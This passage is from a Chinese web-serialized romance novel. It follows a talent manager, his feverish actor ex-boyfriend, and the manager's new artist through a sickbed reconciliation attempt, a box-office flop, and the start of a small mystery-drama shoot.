这会儿再回卧室,他已经自己靠坐起来了,正要拉被子,见万洋跟进来,又把被角在腰侧掖了掖。 “叶老师,还记得我是谁吗?”万洋小心地朝他挥挥手。 “他是烧了,不是傻了。”俞悄好笑地把他推开,对叶幸司说,“起来吧,送你去医院。” 叶幸司闭着眼仰靠,嘴唇一动,回了句沙哑又斩钉截铁的:“不。” 俞悄扬了扬眉。 “谁会喜欢去医院呢。” 万洋似乎回到了他带家教时的状态,拖着嗓子“哎呀”“哎呀”。 “要是感冒在家睡一觉就算了,但是叶老师,38度2,快起来吧,听话。” 这话说得其实有点不合适。 不说叶幸司咖位甩了万洋几百条街,哪怕只算二人的年龄,他这哄难搞小孩似的状态,乍一听也让人觉得很逾矩。 更何况叶幸司本来就不喜欢他,今天把万洋带过来,他这会儿肯定烦死了。 可万洋这人厉害就厉害在,他总能让人觉得“舒服”。 俞悄本想用眼神提醒一下,但扭脸望着万洋带笑的眼睛,那么自然,好像真的只是担心叶幸司的身体,有种发自肺腑的真挚关心,又觉得并没多别扭了。 “我们先出去,让他换衣服。”俞悄说着,带头往外走。 “啊。”万洋做恍然大悟状,目光和自拍杆一起似有若无地往叶幸司被子上瞟,“明白了,明白了。” 一直不想说话的叶幸司,在这时候终于开了口:“我说了,不去。” “那你在家烧死?”俞悄猛地转过身,两步踏到床边盯着叶幸司,“不去医院你喊我过来干什么,好玩儿?” 他有点儿发火。 这火来得莫名其妙,从万洋的视角是这样,俞悄自己其实也觉得。 可他看着眼前虚弱的叶幸司,莫名就是一股无名火——也许是冲这个生了病还好意思找自己的叶幸司,也许是冲着真的放下工作跑来的自己。 卧室里的空气带着生病特有的沉闷,万洋站在俞悄和门口之间,往外不是往里也不是。 他瞟着对似的二人,总觉得他们之间的氛围紧张且微妙,像是互相都绷着一根无形的弦,谁先断了,谁就输了。 僵持了半分钟,万洋都以为按叶幸司大的脾气,会很气人地甩出一句“你走吧”,结果叶幸司却重新闭上眼,低声说:“帮我喊医生来。” “你是皇帝?”俞悄气笑了。 叶幸司不说第二遍,扯扯被子躺回床上,又继续睡了。 “我真的觉得小悄哥挺厉害的。” 万洋在客厅里对着镜头轻声说话,根据光线调整着拍摄视角,让画面录制自己的同时,也能拍到在阳台打电话的俞悄。 “刚认识的时候,我就觉得他是一个很细心,很好说话的人。没有架子,第二句话就问我会不会打王者,让我带他。” 他拢着嘴对镜头小声笑:“打得可烂了。” “他脾气很好,做事很松弛,很对我脾气,所以我跟他一直配合得很好,他说话我愿意听。” “因为我觉得他很多想法都有思考,不单纯是为了捧火谁,他在这个行业里怎么说呢,是有一点自己的‘拙心’在的。” “笨拙的拙,真挚的真。” “有时候我会觉得,啊小悄哥是不是太好说话了,谁找他帮忙他都会帮一把,也不记仇。” “有一说一,其实蛮容易吃亏的,这种性格。” “但是关键时刻吧,他又不迷糊。决心下得又快又猛,脾气那么好的人,对自己狠起来贼狠,有时候都把我吓一跳。” “而且,他好像是万能的,我不知道有什么能难倒他。” 万洋把镜头往后又拉了拉。 “这会儿他在帮叶老师联系医生。因为他是叶老师的前助理嘛,也是我师兄。哇真的,两个人还是有默契在的,叶老师一句话,小悄哥前脚抱怨,后脚你们看——” 俞悄拉开阳台门走出来,万洋扭过脸问:“聊好了?” “好了。”俞悄轻轻舒口气,“半小时后到。” 万洋笑着摇摇头,重新望向镜头,比了个大拇指。 等医生过来的半个小时里,叶幸司关着门在卧室睡觉,万洋坐在吧台前剪视频,俞悄则跟个扫地机器人似的,到处转来转去。 但他只是转,没有随意迈进任何一间屋子。 在一扇挂着小狗门铃的门板前站了两分钟,他去厨房洗洗手,住了一锅米粥。 纯大米粥,除了米什么都没有,他唯一会煮的粥类。 刚把粥锅在灶台上坐好,身后传来万洋轻声的问话:“你以前在这里住过?” 俞悄吓一跳,下意识先去看万洋的手。 万洋靠在门边微微一摊手,示意这会儿没在录。 “我帮他验的房。”俞悄只简单的回答了这一句。 何止呢。 房子的地段,装修风格,家居品牌,种种布置和修饰品,全都有过他的参与。 “怪不得知道密码。”万洋调侃道,“也记得东西都放在哪。” 俞悄没说话,低头把灶台上的水擦干净。 “心情不好?”万洋又问,“感觉你每次遇见和叶老师有关的事,情绪起伏都很大。” “是不是,还没完全放下?” 这句话万洋问得很轻,轻到俞悄停下手里的事,才将每个字都听清。 轻到他似乎能透过二百多平的空间,听见叶幸司在卧室里翻身的动静。 “其实有个事,我一直在犹豫要不要告诉你。” 万洋踌躇了一下,是认真的在纠结。 “之前我觉得你是真的想和他断开联系,所以不会主动跟你提叶老师的事。” “可这两次看你这样,我觉得还是不应该瞒你。其实你们吵架那天晚上……” “万洋。”俞悄开口打断他。 万洋“啊”一声。 “拍的视频删了吧,别发出去。”俞悄叮嘱他,“毕竟我们过来也没经过他同意。” “好。”万洋点点头。 “我和他的事你不清楚。”俞悄打开水龙头洗手,“别瞎掺和。” 万洋看了会儿他的背影,又点点头:“好。” 医生提前十分钟到了,从小区的卫生防疫站直接过来的。 人家估计是没少见住在这片的明星,对于病人是叶幸司没什么反应,检查完就很利索地调了一大一小两个吊瓶,让俞悄看着,打完及时拔针。 俞悄有些犹豫:“我直接拔?” “拔针简单,棉签摁着轻轻拽出来就行。或者到时候你打电话,我再过来。”医生说。 “好。”俞悄应下来。 医生前脚走,万洋看看时间,也得走了。 他晚上有直播,流程和台本还没彩排,运营已经微信轰炸催两次了。 “你自己回去行吗?”俞悄把他送到门口,有些过意不去。 “又不是小孩儿。”万洋咧嘴一笑,“你照顾叶老师吧,别吵架。” 俞悄没接他后半句,只把帽子递过去:“到公司给我发个消息。” 万洋比了个“OK”的手势,进卧室跟叶幸司告别:“我先走了叶老师,快点好起来哦。” 叶幸司闭着眼,不知道是睡着了还是装死,眼皮子都没动一下。 随着关门声响,万洋前脚刚走,俞悄就大步走回卧室,“唰”一下把窗帘全都拉开。 猛然撒满全屋的光线里,叶幸司靠在被枕上,正懒洋洋地望着他。 “幼不幼稚?”俞悄盯着他问。 “我赌你放不下我。”叶幸司脑袋一歪,挑起嘴角笑了。 第90章 俞悄盯着叶幸司看了一会儿,拽过靠墙的小墩椅,在床边坐了下来。 “聊聊吧。” 聊什么呢。 俞悄心里一团乱麻,并不能明确的拽出一切话题的开头,可他也有一种十分奇异的平静,平静地明白跟叶幸司这样纠缠不是个事儿。 什么关系就是什么关系,什么身份也就是什么身份。 同事关系就别做情侣该做的事,前任的身份也不该再说暧昧的话。 因为越界和关系混淆而遭到的惩罚,俞悄已经受够了。 他是认真想和叶幸司谈一谈,但他屁股刚挨着凳沿坐下,叶幸司先开口提了个要求:“先扶我去卫生间。” 俞悄出于职业病,下意识欠身要去扶人,稳了稳又坐回去。 “你是发烧,不是腿断了。” “我没手。”叶幸司朝吊瓶抬抬下巴,“帮我举着。” 俞悄搁在腿上的五指松了又紧紧了又松,拒绝的话在嗓子眼儿转了两圈半,还是抿抿嘴角站起来,过去摘下挂在衣架上的吊瓶。 拿好吊瓶的第一反应,他背对着叶幸司转过身。 叶幸司在家有裸睡的习惯。 俞悄连他家的门锁密码都没忘,自然也不会忘记这一点。 并不是严格意义上的全|裸,但只穿着内裤的叶幸司,从以前在俞悄眼里,就跟全|裸没有区别。 身后传来掀被子的窸窣声响,叶幸司撑着床沿站起来,俞悄用余光微微往下一瞥,果然。 叶幸司只穿着一条纯黑的内裤,暗花logo低调又骚包的勾在裤腰上,连接着紧窄的腰线与臀腿,从俞悄的角度,正好能看到他线条漂亮的腹肌,与那两条延伸进布料下、隐约的腹股沟。 他迅速收回视线,叶幸司却丝毫没有与前助理兼前男友保持距离的自觉,身子一歪,直接将胳膊架在俞悄肩上。 “我身上脏?”叶幸司脑袋一偏,在他耳边问,“扶着我点儿。” “你发个烧连路都走不了了?”俞悄僵着脖子,横起相贴的那条胳膊,极力想撑开一丝空隙。 “啊。”叶幸司应了声,毫不客气地将大半个身子的力量都压过去,低头在俞悄肩膀上贴了贴额头,“晕。” 俞悄肩头一晃,避开他认真问:“到底真病假病?” 这是脱口而出的一句话,也是俞悄发自心底的疑问。 可在问出口的那瞬间,他自己都觉得有些反应过度。 38度2的体温计,沙哑的嗓子,隔着衣服也能感受到滚烫的皮肤,还有手上拎着的吊瓶……哪一项也做不了假。 但这人太能演了。 演到俞悄简直要ptsd。 叶幸司保持着垂首的姿势,像是也被问住了,垂着眼睫毛顿在原地。 过了好几秒,他才撩起眼皮望着俞悄,很轻的扯了下嘴角。 “真病。”叶幸司轻声说,“可以重新开始相信我吗。” 时隔三年多的对话、车厢里的剖白、化妆间的嘲讽质问,没有署名的花生病打来的电话没有更改的家门密码与近乎赤裸相贴的皮肤,这些最近突然泛滥起来的接触,或许让俞悄恍惚过,烦躁过,恼火过,怅然若失过,但都没让他感到混乱。 他无比的清醒,比三年前的任何一刻。 但叶幸司这句低声的解释,让他心里陡然乱了一下。 ——叶幸司望着他的眼神和语气里,带着一丝说不来的东西。 是无奈吗? 是发现自己的信任彻底崩塌,发现俞悄连他生病都会质疑的失落吗? 还是在明确这些之后,选择认真解释,希望自己重新信任他的那一丁点坚定与温柔。 不知道。 俞悄转开脸,压下心头复杂的感受,不允许自己多想,但默许了叶幸司把他当拐棍。 他拎着吊瓶往前迈了一步:“走吧。” 一般来说,只要不是断胳膊断腿,或者真的病入膏肓无法自理,那么没人能接受自己被搀扶着,在外人眼皮子底下上厕所。 所以俞悄在卫生间前停下了,还比较贴心的帮叶幸司拧开了门。 结果叶幸司根本没有自己进去方便的意思。 他跟着俞悄一起停下,还很振振有词:“你不进去我怎么上?” “该怎么上怎么上。”俞悄转开脸,“我给你举着吊瓶,赶紧的吧。” “输液管没那么长,我也尿不了那么远。”叶幸司笑了一声,也不知道在笑什么,“进去,我一只手不方便,万一回血了麻烦。” 这人现在脸皮怎么这么厚。 俞悄参考了一下马桶距离门口的距离,确实还是得进去,只好绷着脸往里走。 俞悄浑身别扭,恨不得挡着耳朵闭上眼,脖子使劲朝一旁转,叶幸司却非常自然。 停在马桶前,他连架在俞悄肩上的胳膊都没拿下来,用那只没扎针的手,姿态松弛地拉了拉内裤,便释放出一道水声。 俞悄像被尿在自己天灵盖上似的,头皮一波一波的发麻。 近乎漫长的排尿终于结束,听到马桶冲水的声音,他转身就要往外走。 “慢点。”叶幸司在盥洗台前停下,“洗手。” 这个卫生间里的洗手液是自动款,不知道是没电了,还是叶幸司这段时间没在家,没怎么用寓家vip它,感应头有点失灵,手伸过去不出沫。 俞悄抬手想重启开关,结果他的手刚探到喷头下,一大朵泡沫就打在他手背上。 正要洗掉,叶幸司的掌心包过来,攥住他的手。 湿漉漉的手,完全没有隔绝作用的泡沫,叶幸司手心热烫,贴在俞悄手上一摩挲,五指与泡沫一起嵌进俞悄的指缝里。 俞悄眉毛飞起来,“噫”地甩开叶幸司,连忙冲水洗手。 这手他妈的刚握着那玩意儿撒过尿! “装什么。”叶幸司挑挑眉,“吃都吃过。” “叶幸司!”俞悄要炸毛了。 “嗯?”叶幸司噙着笑朝他看。 俞悄把吊瓶往他洗好的手里一搡,怒火中烧地往外走。 折腾一圈回到床上,针头还是有点回血。 叶幸司自己挂好吊瓶,在床边摆弄输液管,俞悄端着粥进来,看着那截回血吓得差点把碗打了。 他想给医生打电话,叶幸司安抚道:“没事,帮我把吊瓶举高点儿。” 俞悄忙去举吊瓶,叶幸司调整一下手腕和角度,那一小截回血缓缓地压了下去。 “挂回去吧。”叶幸司靠回床头,望着俞悄问,“要和我聊什么?” 俞悄差点儿被那截回血吓死,本来就心乱,这会儿更没头了,蹲在床边盯着叶幸司的手看了半天,确定没再回血才轻轻松口气,有点儿发怔。 脑门儿微微一疼,叶幸司弹了他一下。 “别用这种表情。”叶幸司沙着嗓子说,“会让我觉得你比我想像中还在乎我。” 俞悄搓着额头站起来,重新看向他。 他被弹清醒了,将粥碗端到床头柜上晾着,坐回刚才那张小墩椅上。 “我是公司的员工,你是公司签约的艺人,紧张你的身体很正常。” 他索性借着叶幸司的话继续说下去。 “至于其他的,早就没有了。” “刚才想跟你聊的就是这个。别搞有的没的了,都是成年人,结束就是结束了,没意义。” 房间里又沉寂了。 叶幸司没接话,只是盯着俞悄看,俞悄起身打开窗,清新的气流荡涤开室内凝滞的空气。 “好好当同事吧。正常相处,像你对其他工作人员一样。”俞悄说,“可以吗?” “正常相处指什么。”叶幸司问。 “我说了,”俞悄重复道,“像你对其他工作人员一样。” “做不到。”叶幸司说。 “为什么。” “你对我来说不是其他工作人员,”叶幸司说,“我对你来说同样,你也做不到。” 自负。 自大。 自以为是。 俞悄静静地看着他,反驳:“我可以。” “好。”叶幸司说。 态度突然就变了。 俞悄被晃了一下,迟疑地眨眼:“好什么?” “像你说的那样,”叶幸司说,“以后像对其他人一样对我。” 是这个意思,但似乎不太对。 俞悄分析不出来,“嗯”了一声。 “那就不能躲着我了。”叶幸司这才又开口,“不要故意无视我,我需要你的时候,麻烦你立马出现。” 俞悄是真气笑了。 “有意思吗?”他又问出了这个问题。 “说别的确实没有意义。”叶幸司答非所问,“我欠你一句道歉,俞悄。” “不需要。”俞悄打断他,“我不想聊以前的事。” “你可以像对其他艺人一样对我。”叶幸司顿了顿,将话题绕回来,“但我不会,也做不到。” “我还是喜欢你,在你提分手之前,没联系你的三年半,以及现在。” “你可以去和公司说我骚扰你,可以向媒体指控我,可以曝光《塌房二》那一期你究竟看到了什么。” “只要别躲我。” 俞悄的手又开始时松时紧的蜷握了。 眼前的叶幸司像变了一个人一样。 不能说是眼前,从那次在公司走廊遇见,之后每一次与叶幸司的相处,都让俞悄产生出一种微妙的陌生感。 也不知道是真的变了,还是曾经的他根本从来没有真正了解过,叶幸司到底是什么样的人。 但何必呢。 现在说这些话,过去那三年半又在做什么。 俞悄没有回应,叶幸司也不需要他回应,用一只手端起粥碗吹了吹,毫无障碍地喝了。 然后直到输液结束,医生过来拔针收药瓶,他都没再麻烦俞悄帮他任何忙。 不知道是卫生站下料猛,还是叶幸司的体质好,两瓶点滴输完再量体温,直接就降到了37度5。 “没事了。”俞悄甩甩温度计,做出结论,“在家睡一觉吧,明天就能生龙活虎。” “37度5,还没好。”叶幸司靠在墙上看他收拾,脑袋也歪在墙上,发烧的人就算体温暂时降下来也乏。 “我们家不到38度不算发烧。非典那时候我天天37度5,我妈天天雷打不动赶我去学前班。”俞悄扫他一眼,“什么时候这么娇贵了,不是你绝食减肥的时候了。” 他阴阳怪气一长串,叶幸司却只是带着笑看他,心情很好的样子。 俞悄想问笑什么,又不想和叶幸司显得太和睦,结果叶幸司主动开了口,说:“我梦见过好几次。” “什么?”这话俞悄就能接了。 “你。”叶幸司说,“梦见你像以前一样,在我家里转来转去,碎碎叨叨。不过梦见的都是那个出租屋。” 那栋摇摇欲坠,孑世独立的破楼,在前年被拆掉了。 俞悄有次开车经过,正好赶上动工,一堆挖土机围着,他还专门停下来远远地看了会儿,一道炮响,半截楼就没了。 “那楼已经拆了。”他收拾好自己的东西朝玄关走,“我走了。” 叶幸司勾起的嘴角稍稍平下来,看着俞悄坐在玄关椅上穿鞋。 “上次在电视台,是我不对。” 叶幸司突然提起这件事,俞悄换鞋的速度慢下来,又沉默了。 “那天心烦,抱歉。”叶幸司走过来,也在条椅上坐下,“我看不惯你像照顾我一样,照顾其他人。” 俞悄在他坐下的同时,起身站了起来。 “叶幸司。”他推开门,回头看向叶幸司,“你还是话少的时候更招人喜欢。” 如果能给自己的表现评分的话,这个下午,俞悄给自己打8分。 除了扶叶幸司去卫生间那一轱辘有点儿混乱,其余的对话和态度,他自认为都很酷,尤其是留下最后那句话直接关门走人。 帅晕了。 最关键的一点,俞悄觉得自己成熟了。 和周行东以及三年前的自己相比,没有闹得那么难看,让双方都挂不住脸,没有尖锐与刻薄的撕扯,也没有老死不相往来。 他能够像个真正的成年人一样,最大限度的将感情与工作区分开,冷静的处理前任关系。 俞悄催眠一样给自己洗脑,反复自我夸奖,可他还是被影响了。 他最反感的那种影响:因为一个人,一件事,一句话,不断的回忆,不断的思考哪里说对了哪里没做好。 不断的、无法自控的去想,对方是否会有相同的反应。 想叶幸司说的那些话,到底有几分真心。 为什么呢。 俞悄给小蜡发消息:为什么呢,人为什么总喜欢在结束之后表现得很深情。 周行东是。 叶幸司也是。 明明是他们先辜负,为什么受影响的还是自己。 俞悄:烦。 小蜡:烦鸡毛啊,一天跟个哲学家一样。 小蜡:不失去怎么知道到底喜不喜欢。 小蜡:生而为人,本来就贱。 俞悄摩挲着手机边缘,有点想反驳小蜡——他发现自己还是太理性太善良,这么难听的字眼,他还是不想用在叶幸司身上。 没等他斟酌好语句,万洋的消息十分扎眼地弹了出来。 万洋:坏了哥,叶老师的新电影要扑了。【你现在阅读的是魔蝎小说 moxiexs】 90-100 第91章 叶幸司新电影的首映礼,俞悄没去。 心烦是一方面,同时也不能耽误事业。这周他给万洋谈了个都市志怪剧的一号男配,单元类型,一个故事拍个几集,剧组是出了名的小成本之神,这几年出的作品收视率都不错。 不过叶幸司的新电影他也关注了——不关注都步行,从导演到演员营销功夫全都拉满,宣传炒得铺天盖地,精彩片段和拍摄花絮被官方自己剪出了花,全网吊足了胃口。 在国际上拿过金奖的老牌导演,叶幸司,复出之作。 这三个词条联系在一起,又炒得那么起劲,按理说片子再差也差不到哪去。 俞悄切到万洋的聊天界面,想问他怎么要扑了,字还没打完,万洋的下一句话就发了过来。 万洋:超级难看。 万洋:都在说屎中巨粪。 俞悄眉心一蹦。 新电影是武侠题材,名字却叫《史钟巨浪》,俞悄刚知道这个本子的时候就觉得怪,词不词句不句,四个历史纪录片常用的字眼凑在一起,实在有点托大,导演的野心肉眼可见。 但班底摆在那,只要剧本过得去,武侠片再烂还能烂到哪去。 可搜索出来的结果,让俞悄这个叶幸司的前助理都眼前一黑。 “……到底在讲什么?” “我以为只是名字像纪录片,这什么新形式?” “到底谁在夸叶幸司演技???” “看得我好烦躁。” “屎。” “老头子江郎才尽了,消停在国外养老得了,一部片子半辈子名声全砸了。” “剧情看不懂,演员也都好尴尬,整个剧组不熟似的。” “真是越拍越回去了,同样是面瘫人设,还不如小时候和左槊拍得那几分钟顺眼。” “现在还有实景电影吗,历史片整一堆特效ai的是干嘛啊。” “主演是叶幸司?我的妈呀。” “我相信他有背景了。” “看到一半影院快走完了[jpg]” “还是我叶哥不忘本,感觉回到了欣赏烂演技大赏的时期。” …… 铺天盖地的疑惑与嘲讽里,俞悄试图找到几条正向评论,结果各大平台像是被控评一般,第一批观影的观众口风一致,全都在表达一个中心观点:难看。 还不是谩骂与攻击的难看,是让所有人迷茫的难看。 俞悄点开几个热度高的录制片段,角色们的妆造看不出时代,叶幸司不知道是不是人设要求,木着脸念拗口的台词,像没睡醒的差生读课文,毫无灵气。 那些黑粉们闻着味儿一样,迅速集结开喷。 俞悄返回到聊天框,问万洋:你觉得呢? 万洋:我也看不懂。 万洋:确实难看。 《史钟巨浪》在豆瓣的评分开局就来个5.1,仅用一周跌到了3.7。 现今堪称高配的演员阵容,最高调的宣传,整部片子2亿的成本,最终却在无数的嘲讽中草草收场,票房仅有3187万。 好作品大浪淘沙,没有导演能一直出精品,也没有演员能部部接到佳作。 电影本身就是投资,有风险很正常,按照纪繁西的逻辑,被喷也是流量,叶幸司顶多被嘲讽一阵子,很快也就过去了。 可糟糕的是,叶幸司在《史钟巨浪》后面连着的两个作品,一部古装剧,以及一部爆米花爱情片,全都是一致的烂。 演员出烂片,就像厨子炒菜,允许偶尔失手,可如果连着吃到三盘难吃的菜,那这家餐馆就被定性了。 叶幸司摆脱“演技差”这三个字用了七年。被打回所谓的“原型”,却只用了三部片子。 可如今他的影响力,三部片子带来的影响,要比曾经那七年乘以十倍。 ——蒋雨池不了了之的“后台资源论”又被翻了出来,不知道谁家买的黑通稿不断的出,他的演技喷子们集体复苏,兴风作浪,有心无心的言论结合在一起,又在网上掀起一小股“叶幸司后台到底是谁”的舆论。 拨开一系列躁动的网络留言,俞悄专门挑了空闲的两天,将叶幸司这几部片子,从头到尾看了一遍。 跟有没有后台没关系,跟演技退步也没关系。 按照时间线往前推,这几部作品拍摄的时间,就是公司疯狂给他接片的那段时期。 也是他们分手前后。 我就知道。 俞悄坐在电脑前,平静地望着那些负面评论。 那样只求数量不考虑质量的拍戏法儿,早晚要迎来反噬。 微信图标在电脑底部亮起红点,弹出一条好友申请。 是叶幸司。 俞悄盯着那个熟悉的头像看了很久,抬手轻轻摁了下键盘,通过了。 叶幸司这段时间没怎么找他,发烧也只在家歇了两天,听娜诺说还没好全,就又进组了。 但他人没有联系,花和各种礼物却没间断。 俞悄隔三差五就收到快递或外卖的电话,有时候送到家,有时候送到公司,都没有署名,只在收件人写着俞悄。 花的种类多变,礼物也什么都有。 从手表到睡衣,从按摩椅到手机壳,穿得用的,甚至有次还有一枚钥匙扣,挂着个大耳朵狗的吊坠,是某大牌的联名,价格四位数。 叶幸司像是不善言辞又青涩的追求者,看到什么觉得适合俞悄,就给他下单送一份。 俞悄刚开始还心烦,把花分给公司的女同事,礼物也联系快递要求送回去,或者干脆直接同城送回叶幸司家门口。 可没几天,下一份快递又过来了,把人磨到没脾气。 甚至包括现在,网上对叶幸司近期作品嘲声一片,今早他还刚收到一大捧鲜艳的紫罗兰。 好友申请一通过,叶幸司就发来消息:今天在家做饭,过来一起吃。 不像分手四年的前任,语气自然得像多年老友。 俞悄把微博和豆瓣的页面关掉,给他打字:回来了? 叶幸司:刚到家,睡了一觉。 叶幸司:想吃什么。 俞悄的手指在键盘上悬停一会儿,打出西红柿,又按着退格键删掉,重新输入:晚上有事。 叶幸司那边过了五分钟才回复:我很想你。 叶幸司:最近烦心事多。 叶幸司:想和你说说话。 俞悄靠回转椅里,两条腿长长的拖着,仰脸盯着天花板发怔。 他的手指在键盘上盲敲几下:不了。 今天拒绝叶幸司,俞悄心里有些不是滋味。 他知道叶幸司的烦心事肯定和最近的质疑有关,这事无关他们的感情,俞悄回忆起他们为了争取那些现在看来毫不起眼的机会,为了一个广告、一个男三的角色反复与公司,与纪繁西拉扯,一遍遍的排练…… 叶幸司的成功无法排除掉俞悄的陪伴与支持,今天的拒绝不止是拒绝叶幸司这个人,更像是推开了曾经被自己呵护的一个小孩,一盆植物,一块勋章。 这感觉真是不太好受。 可是怪谁呢,当时我明明都告诉你了。 明明都那么劝了。 叶幸司没再回消息,俞悄坐在转椅里晃悠半天,盯着他们的聊天框发怔,烦躁地搓了把脸。 网上嘲讽漫天,公司的公关部也不轻松。 买水军,压热搜,建词条,宣传叶幸司后续的新作与动向,网上的唇枪舌战从某种角度来说,跟打仗一个性质,面对着四面八方的军火,一刻也不能放松警惕。 俞悄没时间像以前一样,捧着手机24小时关注叶幸司的状况,他现在手里不止万洋一个艺人了,纪繁西在蒋雨池事件后,把他当成接班人培养,又塞了好几个势头不错的明星给他,把他忙成了陀螺。 人真的只有坐在什么位置上,才能共情曾经的不解。 遇到艺人不听话,有了点名气就开始耍大牌,跟公司搞拉锯战的情况,俞悄觉得自己简直要变成纪繁西2.0,看什么都想发火。 不过还好,有一个人从来不让他多操心。 万洋拎着箱子从电梯出来,坐进俞悄的车里就开始哈欠连天,身上还穿着睡衣。 “这么困呢?”俞悄欠身给他拽上安全带,扫了万洋一眼,“眼屎扣扣。” “困晕了。”万洋揉揉眼,“要飞多久?” “两个小时。”俞悄把暖气打开,“你睡吧,到机场喊你。” 万洋的单元剧要进组了,俞悄其实不用跟着去,有团队陪着就行。 可带了其他艺人他才发现,就像当父母的也做不到五根手指一样长,班主任不会真的把每个学生都当孩子一样,万洋作为叶幸司之后他的第一个艺人,俞悄实在是没办法不偏心多照顾。 而且他也更习惯当助理,陪着艺人到处跑的日子,真坐在办公室揽大局谈合同,俞悄一方面觉得自己还欠缺,另一方面也觉得累心。 用纪繁西的话说他,山猪吃不了细糠。 万洋没有睡,窝在副驾里刷手机,问俞悄:“叶老师最近怎么样了?你们联系了吗?” “你指什么?”俞悄扫他一眼。 “啊,”万洋乐了,“这么敏锐。” “不清楚。”俞悄回答得模棱两可。 “那我来搜一搜。” 万洋认真地刷了会儿互联网,像个播报机,向俞悄汇报《史钟巨浪》的评分又掉了、蒋雨池最近的直播又开始故作神秘引导话题、叶幸司的下一部待播剧还没上映,评论区就一片低星打分,阴阳怪气。 “网上这些人,喜欢什么捧得厉害,稍微被他们抓到攻击的口子,又恨不得都涌上来踩一脚。” 万洋悠悠地感慨。 俞悄听他老人精一样说这些话,带着笑又瞥过去。 以前那些正儿八经的明星演员,是可以不接触网络的。 有团队负责他们的平台,有公关有营销在中间做滤板,只要艺人自己不八卦,像曾经的叶幸司,甚至可以完全隔绝网络带来的影响。 尤其老一辈儿挂国家编制,靠实力吃饭的戏骨,很多除了微信,连多余的社交平台都没有,人家只消消停停拍作品。 而做为新浪潮下靠短视频起号,吃网络饭逐渐走进大众视野的万洋,就无法脱离网络。 他也更加明白网上的风气,对这种昨天喊爱今天打骂的状况,有更深更直接的代入感。 “爱恨都是一阵子。”万洋想了想,“不过应该不会影响到叶老师什么,我觉得他内核挺强大的。” 挨骂确实影响不到他,爱恨也影响不到。 俞悄在心里思忖。 能影响到他的只有拍戏。 “而且到了他这个级别,哪怕以后光拍屎,也不耽误他发展。”万洋继续说,“不知道他在《十四夜谈》是客串哪个单元,我还挺想跟他合作的。” 《十四夜谈》就是万洋要进组的都市志怪剧,俞悄一开始没想起来,反应过来之后,一脚刹车猛地踩了下去。 “哎!”万洋吓一跳,忙坐正了往车窗外前后左右看,“吓我一跳,小心点啊我亲哥!” “谁?”俞悄盯着他,“客串什么?” “什么谁,叶老师?”万洋一头雾水,“《十四夜谈》啊,你不知道?” 俞悄微微皱起眉。 “导演跟我说的,叶老师会来客串,但具体是哪个角色没透露。”万洋去微信里搜索聊天记录,“你先开车行吗祖宗?” 俞悄归拢心神,继续开车,心里一阵说不来的感觉。 他是真的不清楚,经纪人跟剧组接洽,本来也只专注自己的艺人,关注片酬档期和投资,其他主演也就问一嘴,更别提客串的演员。 但叶幸司如果在,导演那边一定会当作优势条件主动提出来。 那应该是在签完万洋的合同,才请了叶幸司过去。 小剧组,单元剧,客串。 叶幸司的咖位犯得着进这种组吗? 是纪繁西的主意,还是他自己…… 俞悄没办法不多想,想着想着,他又有些烦躁了。 《十四夜谈》每单元的拍摄地点不一样,万洋要拍的这个故事,录制地在一个临海的小城,没有机场,要先飞到邻市,剧组派车来接。 俞悄带着万洋在机场与团队汇合,第一件事就和剧方确认,叶幸司要客串的是不是万洋这个单元。 得到肯定回复后,他攥着手机沉默半天,瞬间就感到如坐针毡。 俞悄也不知道自己在别扭什么。 明明只要不去守着万洋一条条拍戏,就可以连面都不碰,双方戏份的差异甚至可能根本碰不上面。 明明在公司,在叶幸司家里,他都可以把叶幸司当作最熟悉的陌生人一样坦然。 怎么背景换成了剧组,就让他心里那么不是滋味儿。 小成本剧组的排场有限,比不上之前俞悄陪叶幸司进的那些大组,但麻雀虽小五脏俱全,该有的进组仪式都有,万洋也收到了一束进组花。 住宿的酒店算不上高档,不过在这个小城镇里也属于高规格。 导演和制片对俞悄挺客气,给他安排的酒店房间,和万洋在同一楼层。 离开叶幸司的团队后,拍综艺不算,俞悄就没再跟过组。 和万洋一起先去熟悉他的门牌号,再拖着箱子去自己房间时,俞悄简直生出了故地重游的感觉。 进组当晚直接围读,叶幸司不在,俞悄跟娜诺打听了一下,他后天上午到,当天拍完,晚上就得飞去国外观秀。 俞悄舒了口气:大忙人。 娜诺:哈哈哈[哭泣][哭泣] 那这一天是完全可以避开不见面的。 俞悄静下心来,拿了份剧本坐在会议室角落,细细翻了一遍。 剧情很紧凑的一个小故事:小城镇里荒废的老宅,遭受灭门的前户主,常年闹鬼的传言,搬来几个不怕死的年轻人后怪事频发。 年轻人一个接一个被害后,主角一行人正好途径此处,经过一番智斗,协助当地警方揪出了真正的凶手——住在凶宅隔壁,一直为大家提供帮助,看似善良的兄弟俩。 万洋出演的就是主要杀人犯的弟弟。 叶幸司客串的角色,是下半身瘫痪,常年困在家中坐在轮椅上的哥哥,也是弟弟的智囊。 披着志怪外衣,实则破除封建迷信的悬疑剧。 《十四夜谈》贯穿所有单元的几个主演都不算大牌,这单元的重要角色也没有热度太高的当红艺人。 俞悄翻着剧本又开始走神,越想越不知道他们怎么请来的叶幸司。 不知道现在的叶幸司拍戏是什么状态。 开机仪式虽然已经进行过了,拍这种戾气比较重的剧,圈子里还是有点儿讲究,剧组弄了只黑公鸡来放血,放一挂小鞭,就算是个礼了。 万洋的戏份开机第一天就有,俞悄守在剧组里陪着,跟着看了一天。 各行有各行的长处,万洋虽然不是专业演员出身,胜在玩自媒体的达人不怵镜头放得开,他本身也贴合角色,拍摄进行得格外顺利,几乎没怎么NG,开了个不错的好头。 “以后多给你接剧。”收工回酒店的路上,俞悄跟万洋谈起以后对他的规划:“你拍戏挺灵的。” “是吧?”万洋还沉浸在拍戏的兴奋中,得意洋洋,“我也挺喜欢拍戏的。” 俞悄看着他亮晶晶的眼睛,脑海里冒出另一张热爱拍戏的面孔。 “喜欢什么呢。”他问万洋。 “说不上来,”万洋听懂了俞悄的意思,认真想想,“就是感觉比较过瘾吧?能体验另一种生活,不一样的人生。” 那确实过瘾。 俞悄想。 差点儿把自己都骗过去了。 在电梯口分别,各自回房间休息时,万洋还扒着俞悄的肩逗他:“小悄哥你怕不怕,怕的话我不介意你去我屋里一起睡,我可以打地铺。” “是你害怕吧。”俞悄好笑地问,“体验凶手体验入戏了?” “不怕就行。”万洋立马做潇洒状,摆摆手回房间,“晚安咯。” 进房间时是晚上九点,俞悄专门看了眼时间,然后去简单冲个澡,打开电脑开始处理没聊完的合同。 《十四夜谈》拍摄周期短,合同签了两周,赶一赶一周也就差不多了,可一周的工作真要堆起来,那就太折磨了。 零点的时候,万洋的微信发过来:还没害怕吗小悄哥? 